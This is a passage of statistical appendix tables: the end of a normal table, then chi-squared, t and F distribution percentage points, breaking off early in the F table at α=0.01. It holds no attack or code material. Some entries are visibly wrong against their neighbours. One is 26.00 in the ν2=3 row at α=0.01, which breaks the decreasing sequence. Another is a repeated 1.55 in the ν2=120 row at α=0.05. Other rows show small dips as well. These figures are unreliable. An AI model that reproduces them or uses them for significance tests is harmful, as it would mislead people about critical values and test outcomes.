3.7	0.999892	0.999896	0.999900	0.999904	0.999908	0.999912	0.999915	0.999918	0.999922	0.999925
3.8	0.999928	0.999931	0.999933	0.999936	0.999938	0.999941	0.999943	0.999946	0.999948	0.999950
3.9	0.999952	0.999954	0.999956	0.999958	0.999959	0.999961	0.999963	0.999964	0.999966	0.999967

Table IV Percentage Points $\chi^2_{\alpha,\nu}$ of the Chi-Squared Distribution

ν \ α	.995	.990	.975	.950	.900	.500	.100	.050	.025	.010	.005
1	.00+	.00+	.00+	.00+	.02	.45	2.71	3.84	5.02	6.63	7.88
2	.01	.02	.05	.10	.21	1.39	4.61	5.99	7.38	9.21	10.60
3	.07	.11	.22	.35	.58	2.37	6.25	7.81	9.35	11.34	12.84
4	.21	.30	.48	.71	1.06	3.36	7.78	9.49	11.14	13.28	14.86
5	.41	.55	.83	1.15	1.61	4.35	9.24	11.07	12.83	15.09	16.75
6	.68	.87	1.24	1.64	2.20	5.35	10.65	12.59	14.45	16.81	18.55
7	.99	1.24	1.69	2.17	2.83	6.35	12.02	14.07	16.01	18.48	20.28
8	1.34	1.65	2.18	2.73	3.49	7.34	13.36	15.51	17.53	20.09	21.96
9	1.73	2.09	2.70	3.33	4.17	8.34	14.68	16.92	19.02	21.67	23.59
10	2.16	2.56	3.25	3.94	4.87	9.34	15.99	18.31	20.48	23.21	25.19
11	2.60	3.05	3.82	4.57	5.58	10.34	17.28	19.68	21.92	24.72	26.76
12	3.07	3.57	4.40	5.23	6.30	11.34	18.55	21.03	23.34	26.22	28.30
13	3.57	4.11	5.01	5.89	7.04	12.34	19.81	22.36	24.74	27.69	29.82
14	4.07	4.66	5.63	6.57	7.79	13.34	21.06	23.68	26.12	29.14	31.32
15	4.60	5.23	6.27	7.26	8.55	14.34	22.31	25.00	27.49	30.58	32.80
16	5.14	5.81	6.91	7.96	9.31	15.34	23.54	26.30	28.85	32.00	34.27
17	5.70	6.41	7.56	8.67	10.09	16.34	24.77	27.59	30.19	33.41	35.72
18	6.26	7.01	8.23	9.39	10.87	17.34	25.99	28.87	31.53	34.81	37.16
19	6.84	7.63	8.91	10.12	11.65	18.34	27.20	30.14	32.85	36.19	38.58
20	7.43	8.26	9.59	10.85	12.44	19.34	28.41	31.41	34.17	37.57	40.00
21	8.03	8.90	10.28	11.59	13.24	20.34	29.62	32.67	35.48	38.93	41.40
22	8.64	9.54	10.98	12.34	14.04	21.34	30.81	33.92	36.78	40.29	42.80
23	9.26	10.20	11.69	13.09	14.85	22.34	32.01	35.17	38.08	41.64	44.18
24	9.89	10.86	12.40	13.85	15.66	23.34	33.20	36.42	39.36	42.98	45.56
25	10.52	11.52	13.12	14.61	16.47	24.34	34.28	37.65	40.65	44.31	46.93
26	11.16	12.20	13.84	15.38	17.29	25.34	35.56	38.89	41.92	45.64	48.29
27	11.81	12.88	14.57	16.15	18.11	26.34	36.74	40.11	43.19	46.96	49.65
28	12.46	13.57	15.31	16.93	18.94	27.34	37.92	41.34	44.46	48.28	50.99
29	13.12	14.26	16.05	17.71	19.77	28.34	39.09	42.56	45.72	49.59	52.34
30	13.79	14.95	16.79	18.49	20.60	29.34	40.26	43.77	46.98	50.89	53.67
40	20.71	22.16	24.43	26.51	29.05	39.34	51.81	55.76	59.34	63.69	66.77
50	27.99	29.71	32.36	34.76	37.69	49.33	63.17	67.50	71.42	76.15	79.49
60	35.53	37.48	40.48	43.19	46.46	59.33	74.40	79.08	83.30	88.38	91.95
70	43.28	45.44	48.76	51.74	55.33	69.33	85.53	90.53	95.02	100.42	104.22
80	51.17	53.54	57.15	60.39	64.28	79.33	96.58	101.88	106.63	112.33	116.32
90	59.20	61.75	65.65	69.13	73.29	89.33	107.57	113.14	118.14	124.12	128.30
100	67.33	70.06	74.22	77.93	82.36	99.33	118.50	124.34	129.56	135.81	140.17

ν = degrees of freedom.

Table V Percentage Points $t_{\alpha,\nu}$ of the t Distribution

ν \ α	.40	.25	.10	.05	.025	.01	.005	.0025	.001	.0005
1	.325	1.000	3.078	6.314	12.706	31.821	63.657	127.32	318.31	636.62
2	.289	.816	1.886	2.920	4.303	6.965	9.925	14.089	23.326	31.598
3	.277	.765	1.638	2.353	3.182	4.541	5.841	7.453	10.213	12.924
4	.271	.741	1.533	2.132	2.776	3.747	4.604	5.598	7.173	8.610
5	.267	.727	1.476	2.015	2.571	3.365	4.032	4.773	5.893	6.869
6	.265	.718	1.440	1.943	2.447	3.143	3.707	4.317	5.208	5.959
7	.263	.711	1.415	1.895	2.365	2.998	3.499	4.029	4.785	5.408
8	.262	.706	1.397	1.860	2.306	2.896	3.355	3.833	4.501	5.041
9	.261	.703	1.383	1.833	2.262	2.821	3.250	3.690	4.297	4.781
10	.260	.700	1.372	1.812	2.228	2.764	3.169	3.581	4.144	4.587
11	.260	.697	1.363	1.796	2.201	2.718	3.106	3.497	4.025	4.437
12	.259	.695	1.356	1.782	2.179	2.681	3.055	3.428	3.930	4.318
13	.259	.694	1.350	1.771	2.160	2.650	3.012	3.372	3.852	4.221
14	.258	.692	1.345	1.761	2.145	2.624	2.977	3.326	3.787	4.140
15	.258	.691	1.341	1.753	2.131	2.602	2.947	3.286	3.733	4.073
16	.258	.690	1.337	1.746	2.120	2.583	2.921	3.252	3.686	4.015
17	.257	.689	1.333	1.740	2.110	2.567	2.898	3.222	3.646	3.965
18	.257	.688	1.330	1.734	2.101	2.552	2.878	3.197	3.610	3.922
19	.257	.688	1.328	1.729	2.093	2.539	2.861	3.174	3.579	3.883
20	.257	.687	1.325	1.725	2.086	2.528	2.845	3.153	3.552	3.850
21	.257	.686	1.323	1.721	2.080	2.518	2.831	3.135	3.527	3.819
22	.256	.686	1.321	1.717	2.074	2.508	2.819	3.119	3.505	3.792
23	.256	.685	1.319	1.714	2.069	2.500	2.807	3.104	3.485	3.767
24	.256	.685	1.318	1.711	2.064	2.492	2.797	3.091	3.467	3.745
25	.256	.684	1.316	1.708	2.060	2.485	2.787	3.078	3.450	3.725
26	.256	.684	1.315	1.706	2.056	2.479	2.779	3.067	3.435	3.707
27	.256	.684	1.314	1.703	2.052	2.473	2.771	3.057	3.421	3.690
28	.256	.683	1.313	1.701	2.048	2.467	2.763	3.047	3.408	3.674
29	.256	.683	1.311	1.699	2.045	2.462	2.756	3.038	3.396	3.659
30	.256	.683	1.310	1.697	2.042	2.457	2.750	3.030	3.385	3.646
40	.255	.681	1.303	1.684	2.021	2.423	2.704	2.971	3.307	3.551
60	.254	.679	1.296	1.671	2.000	2.390	2.660	2.915	3.232	3.460
120	.254	.677	1.289	1.658	1.980	2.358	2.617	2.860	3.160	3.373
∞	.253	.674	1.282	1.645	1.960	2.326	2.576	2.807	3.090	3.291

ν = degrees of freedom.

Table VI Percentage Points f_{α,ν_1,ν_2} of the F Distribution

$f_{0.25,\nu_1,\nu_2}$

ν_2 \ ν_1	Degrees of freedom for the numerator (ν_1)																		
	1	2	3	4	5	6	7	8	9	10	12	15	20	24	30	40	60	120	∞
1	5.83	7.50	8.20	8.58	8.82	8.98	9.10	9.19	9.26	9.32	9.41	9.49	9.58	9.63	9.67	9.71	9.76	9.80	9.85
2	2.57	3.00	3.15	3.23	3.28	3.31	3.34	3.35	3.37	3.38	3.39	3.41	3.43	3.43	3.44	3.45	3.46	3.47	3.48
3	2.02	2.28	2.36	2.39	2.41	2.42	2.43	2.44	2.44	2.44	2.45	2.46	2.46	2.46	2.47	2.47	2.47	2.47	2.47
4	1.81	2.00	2.05	2.06	2.07	2.08	2.08	2.08	2.08	2.08	2.08	2.08	2.08	2.08	2.08	2.08	2.08	2.08	2.08
5	1.69	1.85	1.88	1.89	1.89	1.89	1.89	1.89	1.89	1.89	1.89	1.89	1.88	1.88	1.88	1.88	1.87	1.87	1.87
6	1.62	1.76	1.78	1.79	1.79	1.78	1.78	1.78	1.77	1.77	1.77	1.76	1.76	1.75	1.75	1.75	1.74	1.74	1.74
7	1.57	1.70	1.72	1.72	1.71	1.71	1.70	1.70	1.70	1.69	1.68	1.68	1.67	1.67	1.66	1.66	1.65	1.65	1.65
8	1.54	1.66	1.67	1.66	1.66	1.65	1.64	1.64	1.63	1.63	1.62	1.62	1.61	1.60	1.60	1.59	1.59	1.58	1.58
9	1.51	1.62	1.63	1.63	1.62	1.61	1.60	1.60	1.59	1.59	1.58	1.57	1.56	1.56	1.55	1.54	1.54	1.53	1.53
10	1.49	1.60	1.60	1.59	1.59	1.58	1.57	1.56	1.56	1.55	1.54	1.53	1.52	1.52	1.51	1.51	1.50	1.49	1.48
11	1.47	1.58	1.58	1.57	1.56	1.55	1.54	1.53	1.53	1.52	1.51	1.50	1.49	1.49	1.48	1.47	1.47	1.46	1.45
12	1.46	1.56	1.56	1.55	1.54	1.53	1.52	1.51	1.51	1.50	1.49	1.48	1.47	1.46	1.45	1.45	1.44	1.43	1.42
13	1.45	1.55	1.55	1.53	1.52	1.51	1.50	1.49	1.49	1.48	1.47	1.46	1.45	1.44	1.43	1.42	1.42	1.41	1.40
14	1.44	1.53	1.53	1.52	1.51	1.50	1.49	1.48	1.47	1.46	1.45	1.44	1.43	1.42	1.41	1.41	1.40	1.39	1.38
15	1.43	1.52	1.52	1.51	1.49	1.48	1.47	1.46	1.46	1.45	1.44	1.43	1.41	1.41	1.40	1.39	1.38	1.37	1.36
16	1.42	1.51	1.51	1.50	1.48	1.47	1.46	1.45	1.44	1.44	1.43	1.41	1.40	1.39	1.38	1.37	1.36	1.35	1.34
17	1.42	1.51	1.50	1.49	1.47	1.46	1.45	1.44	1.43	1.43	1.41	1.40	1.39	1.38	1.37	1.36	1.35	1.34	1.33
18	1.41	1.50	1.49	1.48	1.46	1.45	1.44	1.43	1.42	1.42	1.40	1.39	1.38	1.37	1.36	1.35	1.34	1.33	1.32
19	1.41	1.49	1.49	1.47	1.46	1.44	1.43	1.42	1.41	1.41	1.40	1.38	1.37	1.36	1.35	1.34	1.33	1.32	1.30
20	1.40	1.49	1.48	1.47	1.45	1.44	1.43	1.42	1.41	1.40	1.39	1.37	1.36	1.35	1.34	1.33	1.32	1.31	1.29
21	1.40	1.48	1.48	1.46	1.44	1.43	1.42	1.41	1.40	1.39	1.38	1.37	1.35	1.34	1.33	1.32	1.31	1.30	1.28
22	1.40	1.48	1.47	1.45	1.44	1.42	1.41	1.40	1.39	1.39	1.37	1.36	1.34	1.33	1.32	1.31	1.30	1.29	1.28
23	1.39	1.47	1.47	1.45	1.43	1.42	1.41	1.40	1.39	1.38	1.37	1.35	1.34	1.33	1.32	1.31	1.30	1.28	1.27
24	1.39	1.47	1.46	1.44	1.43	1.41	1.40	1.39	1.38	1.38	1.36	1.35	1.33	1.32	1.31	1.30	1.29	1.28	1.26
25	1.39	1.47	1.46	1.44	1.42	1.41	1.40	1.39	1.38	1.37	1.36	1.34	1.33	1.32	1.31	1.29	1.28	1.27	1.25
26	1.38	1.46	1.45	1.44	1.42	1.41	1.39	1.38	1.37	1.37	1.35	1.34	1.32	1.31	1.30	1.29	1.28	1.26	1.25
27	1.38	1.46	1.45	1.43	1.42	1.40	1.39	1.38	1.37	1.36	1.35	1.33	1.32	1.31	1.30	1.28	1.27	1.26	1.24
28	1.38	1.46	1.45	1.43	1.41	1.40	1.39	1.38	1.37	1.36	1.34	1.33	1.31	1.30	1.29	1.28	1.27	1.25	1.24
29	1.38	1.45	1.45	1.43	1.41	1.40	1.38	1.37	1.36	1.35	1.34	1.32	1.31	1.30	1.29	1.27	1.26	1.25	1.23
30	1.38	1.45	1.44	1.42	1.41	1.39	1.38	1.37	1.36	1.35	1.34	1.32	1.30	1.29	1.28	1.27	1.26	1.24	1.23
40	1.36	1.44	1.42	1.40	1.39	1.37	1.36	1.35	1.34	1.33	1.31	1.30	1.28	1.26	1.25	1.24	1.22	1.21	1.19
60	1.35	1.42	1.41	1.38	1.37	1.35	1.33	1.32	1.31	1.30	1.29	1.27	1.25	1.24	1.22	1.21	1.19	1.17	1.15
120	1.34	1.40	1.39	1.37	1.35	1.33	1.31	1.30	1.29	1.28	1.26	1.24	1.22	1.21	1.19	1.18	1.16	1.13	1.10
∞	1.32	1.39	1.37	1.35	1.33	1.31	1.29	1.28	1.27	1.25	1.24	1.22	1.19	1.18	1.16	1.14	1.12	1.08	1.00

Degrees of freedom for the denominator (ν_2)

Table VI Percentage Points f_{α,ν_1,ν_2} of the F Distribution (*continued*)

$f_{0.10,\nu_1,\nu_2}$

ν_2 \ ν_1	Degrees of freedom for the numerator (ν_1)																		
Degrees of freedom for the denominator (ν_2)	1	2	3	4	5	6	7	8	9	10	12	15	20	24	30	40	60	120	∞
1	39.86	49.50	53.59	55.83	57.24	58.20	58.91	59.44	59.86	60.19	60.71	61.22	61.74	62.00	62.26	62.53	62.79	63.06	63.33
2	8.53	9.00	9.16	9.24	9.29	9.33	9.35	9.37	9.38	9.39	9.41	9.42	9.44	9.45	9.46	9.47	9.47	9.48	9.49
3	5.54	5.46	5.39	5.34	5.31	5.28	5.27	5.25	5.24	5.23	5.22	5.20	5.18	5.18	5.17	5.16	5.15	5.14	5.13
4	4.54	4.32	4.19	4.11	4.05	4.01	3.98	3.95	3.94	3.92	3.90	3.87	3.84	3.83	3.82	3.80	3.79	3.78	3.76
5	4.06	3.78	3.62	3.52	3.45	3.40	3.37	3.34	3.32	3.30	3.27	3.24	3.21	3.19	3.17	3.16	3.14	3.12	3.10
6	3.78	3.46	3.29	3.18	3.11	3.05	3.01	2.98	2.96	2.94	2.90	2.87	2.84	2.82	2.80	2.78	2.76	2.74	2.72
7	3.59	3.26	3.07	2.96	2.88	2.83	2.78	2.75	2.72	2.70	2.67	2.63	2.59	2.58	2.56	2.54	2.51	2.49	2.47
8	3.46	3.11	2.92	2.81	2.73	2.67	2.62	2.59	2.56	2.54	2.50	2.46	2.42	2.40	2.38	2.36	2.34	2.32	2.29
9	3.36	3.01	2.81	2.69	2.61	2.55	2.51	2.47	2.44	2.42	2.38	2.34	2.30	2.28	2.25	2.23	2.21	2.18	2.16
10	3.29	2.92	2.73	2.61	2.52	2.46	2.41	2.38	2.35	2.32	2.28	2.24	2.20	2.18	2.16	2.13	2.11	2.08	2.06
11	3.23	2.86	2.66	2.54	2.45	2.39	2.34	2.30	2.27	2.25	2.21	2.17	2.12	2.10	2.08	2.05	2.03	2.00	1.97
12	3.18	2.81	2.61	2.48	2.39	2.33	2.28	2.24	2.21	2.19	2.15	2.10	2.06	2.04	2.01	1.99	1.96	1.93	1.90
13	3.14	2.76	2.56	2.43	2.35	2.28	2.23	2.20	2.16	2.14	2.10	2.05	2.01	1.98	1.96	1.93	1.90	1.88	1.85
14	3.10	2.73	2.52	2.39	2.31	2.24	2.19	2.15	2.12	2.10	2.05	2.01	1.96	1.94	1.91	1.89	1.86	1.83	1.80
15	3.07	2.70	2.49	2.36	2.27	2.21	2.16	2.12	2.09	2.06	2.02	1.97	1.92	1.90	1.87	1.85	1.82	1.79	1.76
16	3.05	2.67	2.46	2.33	2.24	2.18	2.13	2.09	2.06	2.03	1.99	1.94	1.89	1.87	1.84	1.81	1.78	1.75	1.72
17	3.03	2.64	2.44	2.31	2.22	2.15	2.10	2.06	2.03	2.00	1.96	1.91	1.86	1.84	1.81	1.78	1.75	1.72	1.69
18	3.01	2.62	2.42	2.29	2.20	2.13	2.08	2.04	2.00	1.98	1.93	1.89	1.84	1.81	1.78	1.75	1.72	1.69	1.66
19	2.99	2.61	2.40	2.27	2.18	2.11	2.06	2.02	1.98	1.96	1.91	1.86	1.81	1.79	1.76	1.73	1.70	1.67	1.63
20	2.97	2.59	2.38	2.25	2.16	2.09	2.04	2.00	1.96	1.94	1.89	1.84	1.79	1.77	1.74	1.71	1.68	1.64	1.61
21	2.96	2.57	2.36	2.23	2.14	2.08	2.02	1.98	1.95	1.92	1.87	1.83	1.78	1.75	1.72	1.69	1.66	1.62	1.59
22	2.95	2.56	2.35	2.22	2.13	2.06	2.01	1.97	1.93	1.90	1.86	1.81	1.76	1.73	1.70	1.67	1.64	1.60	1.57
23	2.94	2.55	2.34	2.21	2.11	2.05	1.99	1.95	1.92	1.89	1.84	1.80	1.74	1.72	1.69	1.66	1.62	1.59	1.55
24	2.93	2.54	2.33	2.19	2.10	2.04	1.98	1.94	1.91	1.88	1.83	1.78	1.73	1.70	1.67	1.64	1.61	1.57	1.53
25	2.92	2.53	2.32	2.18	2.09	2.02	1.97	1.93	1.89	1.87	1.82	1.77	1.72	1.69	1.66	1.63	1.59	1.56	1.52
26	2.91	2.52	2.31	2.17	2.08	2.01	1.96	1.92	1.88	1.86	1.81	1.76	1.71	1.68	1.65	1.61	1.58	1.54	1.50
27	2.90	2.51	2.30	2.17	2.07	2.00	1.95	1.91	1.87	1.85	1.80	1.75	1.70	1.67	1.64	1.60	1.57	1.53	1.49
28	2.89	2.50	2.29	2.16	2.06	2.00	1.94	1.90	1.87	1.84	1.79	1.74	1.69	1.66	1.63	1.59	1.56	1.52	1.48
29	2.89	2.50	2.28	2.15	2.06	1.99	1.93	1.89	1.86	1.83	1.78	1.73	1.68	1.65	1.62	1.58	1.55	1.51	1.47
30	2.88	2.49	2.28	2.14	2.03	1.98	1.93	1.88	1.85	1.82	1.77	1.72	1.67	1.64	1.61	1.57	1.54	1.50	1.46
40	2.84	2.44	2.23	2.09	2.00	1.93	1.87	1.83	1.79	1.76	1.71	1.66	1.61	1.57	1.54	1.51	1.47	1.42	1.38
60	2.79	2.39	2.18	2.04	1.95	1.87	1.82	1.77	1.74	1.71	1.66	1.60	1.54	1.51	1.48	1.44	1.40	1.35	1.29
120	2.75	2.35	2.13	1.99	1.90	1.82	1.77	1.72	1.68	1.65	1.60	1.55	1.48	1.45	1.41	1.37	1.32	1.26	1.19
∞	2.71	2.30	2.08	1.94	1.85	1.77	1.72	1.67	1.63	1.60	1.55	1.49	1.42	1.38	1.34	1.30	1.24	1.17	1.00

Table VI Percentage Points f_{α,ν_1,ν_2} of the F Distribution (*continued*)

$f_{0.05,\nu_1,\nu_2}$

ν_2 \ ν_1	Degrees of freedom for the numerator (ν_1)																		
Degrees of freedom for the denominator (ν_2)	1	2	3	4	5	6	7	8	9	10	12	15	20	24	30	40	60	120	∞
1	161.4	199.5	215.7	224.6	230.2	234.0	236.8	238.9	240.5	241.9	243.9	245.9	248.0	249.1	250.1	251.1	252.2	253.3	254.3
2	18.51	19.00	19.16	19.25	19.30	19.33	19.35	19.37	19.38	19.40	19.41	19.43	19.45	19.45	19.46	19.47	19.48	19.49	19.50
3	10.13	9.55	9.28	9.12	9.01	8.94	8.89	8.85	8.81	8.79	8.74	8.70	8.66	8.64	8.62	8.59	8.57	8.55	8.53
4	7.71	6.94	6.59	6.39	6.26	6.16	6.09	6.04	6.00	5.96	5.91	5.86	5.80	5.77	5.75	5.72	5.69	5.66	5.63
5	6.61	5.79	5.41	5.19	5.05	4.95	4.88	4.82	4.77	4.74	4.68	4.62	4.56	4.53	4.50	4.46	4.43	4.40	4.36
6	5.99	5.14	4.76	4.53	4.39	4.28	4.21	4.15	4.10	4.06	4.00	3.94	3.87	3.84	3.81	3.77	3.74	3.70	3.67
7	5.59	4.74	4.35	4.12	3.97	3.87	3.79	3.73	3.68	3.64	3.57	3.51	3.44	3.41	3.38	3.34	3.30	3.27	3.23
8	5.32	4.46	4.07	3.84	3.69	3.58	3.50	3.44	3.39	3.35	3.28	3.22	3.15	3.12	3.08	3.04	3.01	2.97	2.93
9	5.12	4.26	3.86	3.63	3.48	3.37	3.29	3.23	3.18	3.14	3.07	3.01	2.94	2.90	2.86	2.83	2.79	2.75	2.71
10	4.96	4.10	3.71	3.48	3.33	3.22	3.14	3.07	3.02	2.98	2.91	2.85	2.77	2.74	2.70	2.66	2.62	2.58	2.54
11	4.84	3.98	3.59	3.36	3.20	3.09	3.01	2.95	2.90	2.85	2.79	2.72	2.65	2.61	2.57	2.53	2.49	2.45	2.40
12	4.75	3.89	3.49	3.26	3.11	3.00	2.91	2.85	2.80	2.75	2.69	2.62	2.54	2.51	2.47	2.43	2.38	2.34	2.30
13	4.67	3.81	3.41	3.18	3.03	2.92	2.83	2.77	2.71	2.67	2.60	2.53	2.46	2.42	2.38	2.34	2.30	2.25	2.21
14	4.60	3.74	3.34	3.11	2.96	2.85	2.76	2.70	2.65	2.60	2.53	2.46	2.39	2.35	2.31	2.27	2.22	2.18	2.13
15	4.54	3.68	3.29	3.06	2.90	2.79	2.71	2.64	2.59	2.54	2.48	2.40	2.33	2.29	2.25	2.20	2.16	2.11	2.07
16	4.49	3.63	3.24	3.01	2.85	2.74	2.66	2.59	2.54	2.49	2.42	2.35	2.28	2.24	2.19	2.15	2.11	2.06	2.01
17	4.45	3.59	3.20	2.96	2.81	2.70	2.61	2.55	2.49	2.45	2.38	2.31	2.23	2.19	2.15	2.10	2.06	2.01	1.96
18	4.41	3.55	3.16	2.93	2.77	2.66	2.58	2.51	2.46	2.41	2.34	2.27	2.19	2.15	2.11	2.06	2.02	1.97	1.92
19	4.38	3.52	3.13	2.90	2.74	2.63	2.54	2.48	2.42	2.38	2.31	2.23	2.16	2.11	2.07	2.03	1.98	1.93	1.88
20	4.35	3.49	3.10	2.87	2.71	2.60	2.51	2.45	2.39	2.35	2.28	2.20	2.12	2.08	2.04	1.99	1.95	1.90	1.84
21	4.32	3.47	3.07	2.84	2.68	2.57	2.49	2.42	2.37	2.32	2.25	2.18	2.10	2.05	2.01	1.96	1.92	1.87	1.81
22	4.30	3.44	3.05	2.82	2.66	2.55	2.46	2.40	2.34	2.30	2.23	2.15	2.07	2.03	1.98	1.94	1.89	1.84	1.78
23	4.28	3.42	3.03	2.80	2.64	2.53	2.44	2.37	2.32	2.27	2.20	2.13	2.05	2.01	1.96	1.91	1.86	1.81	1.76
24	4.26	3.40	3.01	2.78	2.62	2.51	2.42	2.36	2.30	2.25	2.18	2.11	2.03	1.98	1.94	1.89	1.84	1.79	1.73
25	4.24	3.39	2.99	2.76	2.60	2.49	2.40	2.34	2.28	2.24	2.16	2.09	2.01	1.96	1.92	1.87	1.82	1.77	1.71
26	4.23	3.37	2.98	2.74	2.59	2.47	2.39	2.32	2.27	2.22	2.15	2.07	1.99	1.95	1.90	1.85	1.80	1.75	1.69
27	4.21	3.35	2.96	2.73	2.57	2.46	2.37	2.31	2.25	2.20	2.13	2.06	1.97	1.93	1.88	1.84	1.79	1.73	1.67
28	4.20	3.34	2.95	2.71	2.56	2.45	2.36	2.29	2.24	2.19	2.12	2.04	1.96	1.91	1.87	1.82	1.77	1.71	1.65
29	4.18	3.33	2.93	2.70	2.55	2.43	2.35	2.28	2.22	2.18	2.10	2.03	1.94	1.90	1.85	1.81	1.75	1.70	1.64
30	4.17	3.32	2.92	2.69	2.53	2.42	2.33	2.27	2.21	2.16	2.09	2.01	1.93	1.89	1.84	1.79	1.74	1.68	1.62
40	4.08	3.23	2.84	2.61	2.45	2.34	2.25	2.18	2.12	2.08	2.00	1.92	1.84	1.79	1.74	1.69	1.64	1.58	1.51
60	4.00	3.15	2.76	2.53	2.37	2.25	2.17	2.10	2.04	1.99	1.92	1.84	1.75	1.70	1.65	1.59	1.53	1.47	1.39
120	3.92	3.07	2.68	2.45	2.29	2.17	2.09	2.02	1.96	1.91	1.83	1.75	1.66	1.61	1.55	1.55	1.43	1.35	1.25
∞	3.84	3.00	2.60	2.37	2.21	2.10	2.01	1.94	1.88	1.83	1.75	1.67	1.57	1.52	1.46	1.39	1.32	1.22	1.00

Table VI Percentage Points f_{α,ν_1,ν_2} of the F Distribution (*continued*)

$f_{0.025,\nu_1,\nu_2}$

ν_2 \ ν_1	Degrees of freedom for the numerator (ν_1)																		
Degrees of freedom for the denominator (ν_2)	1	2	3	4	5	6	7	8	9	10	12	15	20	24	30	40	60	120	∞
1	647.8	799.5	864.2	899.6	921.8	937.1	948.2	956.7	963.3	968.6	976.7	984.9	993.1	997.2	1001	1006	1010	1014	1018
2	38.51	39.00	39.17	39.25	39.30	39.33	39.36	39.37	39.39	39.40	39.41	39.43	39.45	39.46	39.46	39.47	39.48	39.49	39.50
3	17.44	16.04	15.44	15.10	14.88	14.73	14.62	14.54	14.47	14.42	14.34	14.25	14.17	14.12	14.08	14.04	13.99	13.95	13.90
4	12.22	10.65	9.98	9.60	9.36	9.20	9.07	8.98	8.90	8.84	8.75	8.66	8.56	8.51	8.46	8.41	8.36	8.31	8.26
5	10.01	8.43	7.76	7.39	7.15	6.98	6.85	6.76	6.68	6.62	6.52	6.43	6.33	6.28	6.23	6.18	6.12	6.07	6.02
6	8.81	7.26	6.60	6.23	5.99	5.82	5.70	5.60	5.52	5.46	5.37	5.27	5.17	5.12	5.07	5.01	4.96	4.90	4.85
7	8.07	6.54	5.89	5.52	5.29	5.12	4.99	4.90	4.82	4.76	4.67	4.57	4.47	4.42	4.36	4.31	4.25	4.20	4.14
8	7.57	6.06	5.42	5.05	4.82	4.65	4.53	4.43	4.36	4.30	4.20	4.10	4.00	3.95	3.89	3.84	3.78	3.73	3.67
9	7.21	5.71	5.08	4.72	4.48	4.32	4.20	4.10	4.03	3.96	3.87	3.77	3.67	3.61	3.56	3.51	3.45	3.39	3.33
10	6.94	5.46	4.83	4.47	4.24	4.07	3.95	3.85	3.78	3.72	3.62	3.52	3.42	3.37	3.31	3.26	3.20	3.14	3.08
11	6.72	5.26	4.63	4.28	4.04	3.88	3.76	3.66	3.59	3.53	3.43	3.33	3.23	3.17	3.12	3.06	3.00	2.94	2.88
12	6.55	5.10	4.47	4.12	3.89	3.73	3.61	3.51	3.44	3.37	3.28	3.18	3.07	3.02	2.96	2.91	2.85	2.79	2.72
13	6.41	4.97	4.35	4.00	3.77	3.60	3.48	3.39	3.31	3.25	3.15	3.05	2.95	2.89	2.84	2.78	2.72	2.66	2.60
14	6.30	4.86	4.24	3.89	3.66	3.50	3.38	3.29	3.21	3.15	3.05	2.95	2.84	2.79	2.73	2.67	2.61	2.55	2.49
15	6.20	4.77	4.15	3.80	3.58	3.41	3.29	3.20	3.12	3.06	2.96	2.86	2.76	2.70	2.64	2.59	2.52	2.46	2.40
16	6.12	4.69	4.08	3.73	3.50	3.34	3.22	3.12	3.05	2.99	2.89	2.79	2.68	2.63	2.57	2.51	2.45	2.38	2.32
17	6.04	4.62	4.01	3.66	3.44	3.28	3.16	3.06	2.98	2.92	2.82	2.72	2.62	2.56	2.50	2.44	2.38	2.32	2.25
18	5.98	4.56	3.95	3.61	3.38	3.22	3.10	3.01	2.93	2.87	2.77	2.67	2.56	2.50	2.44	2.38	2.32	2.26	2.19
19	5.92	4.51	3.90	3.56	3.33	3.17	3.05	2.96	2.88	2.82	2.72	2.62	2.51	2.45	2.39	2.33	2.27	2.20	2.13
20	5.87	4.46	3.86	3.51	3.29	3.13	3.01	2.91	2.84	2.77	2.68	2.57	2.46	2.41	2.35	2.29	2.22	2.16	2.09
21	5.83	4.42	3.82	3.48	3.25	3.09	2.97	2.87	2.80	2.73	2.64	2.53	2.42	2.37	2.31	2.25	2.18	2.11	2.04
22	5.79	4.38	3.78	3.44	3.22	3.05	2.93	2.84	2.76	2.70	2.60	2.50	2.39	2.33	2.27	2.21	2.14	2.08	2.00
23	5.75	4.35	3.75	3.41	3.18	3.02	2.90	2.81	2.73	2.67	2.57	2.47	2.36	2.30	2.24	2.18	2.11	2.04	1.97
24	5.72	4.32	3.72	3.38	3.15	2.99	2.87	2.78	2.70	2.64	2.54	2.44	2.33	2.27	2.21	2.15	2.08	2.01	1.94
25	5.69	4.29	3.69	3.35	3.13	2.97	2.85	2.75	2.68	2.61	2.51	2.41	2.30	2.24	2.18	2.12	2.05	1.98	1.91
26	5.66	4.27	3.67	3.33	3.10	2.94	2.82	2.73	2.65	2.59	2.49	2.39	2.28	2.22	2.16	2.09	2.03	1.95	1.88
27	5.63	4.24	3.65	3.31	3.08	2.92	2.80	2.71	2.63	2.57	2.47	2.36	2.25	2.19	2.13	2.07	2.00	1.93	1.85
28	5.61	4.22	3.63	3.29	3.06	2.90	2.78	2.69	2.61	2.55	2.45	2.34	2.23	2.17	2.11	2.05	1.98	1.91	1.83
29	5.59	4.20	3.61	3.27	3.04	2.88	2.76	2.67	2.59	2.53	2.43	2.32	2.21	2.15	2.09	2.03	1.96	1.89	1.81
30	5.57	4.18	3.59	3.25	3.03	2.87	2.75	2.65	2.57	2.51	2.41	2.31	2.20	2.14	2.07	2.01	1.94	1.87	1.79
40	5.42	4.05	3.46	3.13	2.90	2.74	2.62	2.53	2.45	2.39	2.29	2.18	2.07	2.01	1.94	1.88	1.80	1.72	1.64
60	5.29	3.93	3.34	3.01	2.79	2.63	2.51	2.41	2.33	2.27	2.17	2.06	1.94	1.88	1.82	1.74	1.67	1.58	1.48
120	5.15	3.80	3.23	2.89	2.67	2.52	2.39	2.30	2.22	2.16	2.05	1.94	1.82	1.76	1.69	1.61	1.53	1.43	1.31
∞	5.02	3.69	3.12	2.79	2.57	2.41	2.29	2.19	2.11	2.05	1.94	1.83	1.71	1.64	1.57	1.48	1.39	1.27	1.00

Table VI Percentage Points f_{α,ν_1,ν_2} of the F Distribution (*continued*)

$f_{0.01,\nu_1,\nu_2}$

ν_2 \ ν_1	Degrees of freedom for the numerator (ν_1)																		
	1	2	3	4	5	6	7	8	9	10	12	15	20	24	30	40	60	120	∞
1	4052	4999.5	5403	5625	5764	5859	5928	5982	6022	6056	6106	6157	6209	6235	6261	6287	6313	6339	6366
2	98.50	99.00	99.17	99.25	99.30	99.33	99.36	99.37	99.39	99.40	99.42	99.43	99.45	99.46	99.47	99.47	99.48	99.49	99.50
3	34.12	30.82	29.46	28.71	28.24	27.91	27.67	27.49	27.35	27.23	27.05	26.87	26.69	26.00	26.50	26.41	26.32	26.22	26.13
